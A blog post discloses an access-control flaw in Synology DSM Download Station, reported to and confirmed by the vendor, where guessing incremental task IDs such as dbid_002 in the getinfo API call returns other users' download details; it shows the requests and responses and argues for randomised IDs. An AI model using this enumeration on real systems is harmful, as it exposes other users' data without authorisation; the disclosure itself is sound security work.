Synology DSM Access any user's downloads

A few weeks ago, I decided to build a little tool for my Synology Download Station, since I was not quite satisfied with the features DS Download offered me for simple monitoring. However, while testing out the API as it was documented in official API docs, I stumbled upon some rather unusual behaviour, that allows you to access details of any download task, even if it does not belong to the user you’re authenticated as.
While this actually is a security issue, as Synology confirmed upon my report, I do not think that users would rate their download tasks crucial information. And those who do might not even share their Download Station access with other users to begin with. So while this is obviously a bug that needs to - and according to their response will be - fixed, it is not a terrible leak but more of a reminder of an age old discussion.

The tale of incremental ID’s

There have been numerous discussion about this topic in the past, and I think this little bug is a good reminder of why you should not use incremental ID’s. If we break our System down to the very basic, whatever it may be, as soon as it involves access control, there are two main factors that decide whether or not a user can access a certain resource:

• Does the user know, how to access the resource?
• Does the user have permission to access the resource?

While this might sound obvious, the former is the exact reason why you should not use incremental ID’s. The fact whether or not the user has permission to access the resource is managed by your system and should protect the given resource from unauthorised access. However, bugs happen, and as much as we try to prevent user from having access to a resource, he can still try to work his way around that security, once he knows where to find what he wants.

Our actual example

In order to clarify the issue a bit, we will take a look at the security issue in the Synology Download Station. This has been tested with DSM6.0 (up until update 7), I think it has been around for longer though. According to the API documentations, we can access the list of our downloads with

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

http://$HOST/webapi/DownloadStation/task.cgi?api=SYNO.DownloadStation.Task&version=1&method=list

{
   "data":{
      "total":2,
      "offset":0,
      "tasks":[
         {
            "id":"dbid_001",
            "type":"bt",
            "username":"user1",
            "title":"File 1",
            "size":"123456",
            "status":"downloading",
            "status_extra":null
         },
         ...
      ]
   }
}

The list we get only displays the tasks that would be displayed to our logged in user in the DSM itself. Assuming we add 1 download with user1 and another download with user2 and then request the download task list logged in as user1, we would get the response above. However, looking at the response makes it pretty clear, that there are 2 downloads in total ("total": 2) and that they are named in the scheme "id": "dbid_xxx".

While only the task our authenticated user1 owns is listed, we can assume from the id scheme, that the other task is named dbid_002. If Synology would have used randomized ID’s instead of incremental ones, we wouldn’t even have a chance to guess, where the resource we want to access without permission lies. With this ID scheme though, we simply request the details for the other download task and ta-da..

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

http://$HOST/webapi/DownloadStation/task.cgi?api=SYNO.DownloadStation.Task&version=1&method=getinfo&id=dbid_002

{
   "data":{
      "tasks":[
         {
            "id":"dbid_002",
            "type":"bt",
            "username":"user2",
            "title":"File 1",
            "size":"123456",
            "status":"downloading",
            "status_extra":null
         }
      ]
   }
}

Of course not adding any security whatsoever is a fatal flaw in their software design, but even if the resource was properly secured, using randomised ID’s would take our possibility to even attempt any workarounds, since we simply don’t know where to look for it.